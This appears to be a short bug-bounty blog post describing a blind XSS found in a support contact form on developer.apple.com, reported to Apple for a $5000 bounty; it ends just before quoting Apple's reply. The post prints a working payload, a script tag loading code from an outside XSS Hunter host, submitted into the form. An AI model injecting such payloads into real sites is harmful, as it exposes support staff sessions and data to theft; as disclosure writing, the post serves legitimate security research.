apple.com blind xss $5000

2 min readMay 7, 2021

Hay there hope you all good , this my third time i write the story how i found some blind xss and got bounty $5000.

its a simple story , i just use knockpy to find some subdomain and than i chose one of many subdomain to be my target bughunting.

lets begin, i chose my target subdomain “ https://developer.apple.com”, i register some account there and login.

i look around at “ https://developer.apple.com” try to find some vulnerability there and i got nothing , im not giveup and continue to find some vulnerability, after many time to try i found some directory “https://developer.apple.com/contact/topic/select/SC1109/subtopic/select”,here i found some function where the user can send some question to support team,i click and insert my xsshunter payload “><script src=https://dimasaprilian993.xss.ht></script> and send to the support team.

suprise i got email notification from xsshunter if my payload execute there,

my lucky,after that I immediately sent some email to “product-security@apple.com” if i found some blind xss there with screenshot,dom and how to reproduce ,after a few days i got reply like this .